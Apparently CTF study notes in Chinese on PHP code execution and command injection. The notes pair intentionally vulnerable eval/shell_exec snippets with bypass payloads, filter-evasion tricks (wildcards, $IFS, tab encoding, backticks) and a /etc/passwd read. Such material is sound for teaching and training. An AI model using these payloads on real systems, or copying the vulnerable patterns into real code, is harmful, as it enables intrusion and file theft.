每月更新 1/1 嘻嘻
应用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行。
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。
eval() assert() create_function()
system() passthru() exec() shell_exec() proc_open() popen() pcntl_exec() dl()
fl\ag a=fl;b=ag;cat $a$b cat `ls` cat $(ls) cat f""lag cat f* cat f??? cat ????.???
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=system("cat f*");
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=passthru ("cat f*");
cat: 由第一行开始显示文件内容 tac: 从最后一行开始显示,可以看出tac是cat的倒写形式 nl: 显示的时候顺便显示行号 more: 一页一页地显示文件内容 less: 与more类似,但是比more更好的是,可以往前翻页 tail: 只看结尾几行 od: 以二进制的方式读取文件内容 /bin/c?t /etc/passwd
< <> %20(space) %09(tab) $IFS$9 ${IFS}
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=passthru("tac%09f*");
; 执行完前面的语句再执行后面的语句 & 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真 | 显示后面语句的执行结果 || 当前面的语句执行出错时,执行后面的语句 $(touch TGUCTF) 被$包裹的优先级较高 `touch TGUCTF` 在``内的会被当做命令执行
<?php if(isset($_GET['ip'])){ $ip=$_GET['ip']; $a=shell_exec("ping -c 4 ".$ip); print_r($a); } else{ highlight_file(__FILE__); }
?ip=x;cat flag.php
<?php if (isset($_GET['c'])) { $c = $_GET['c']; system($c . " >/dev/null 2>&1"); } else { highlight_file(__FILE__); } ?>
?c=cat f*%0a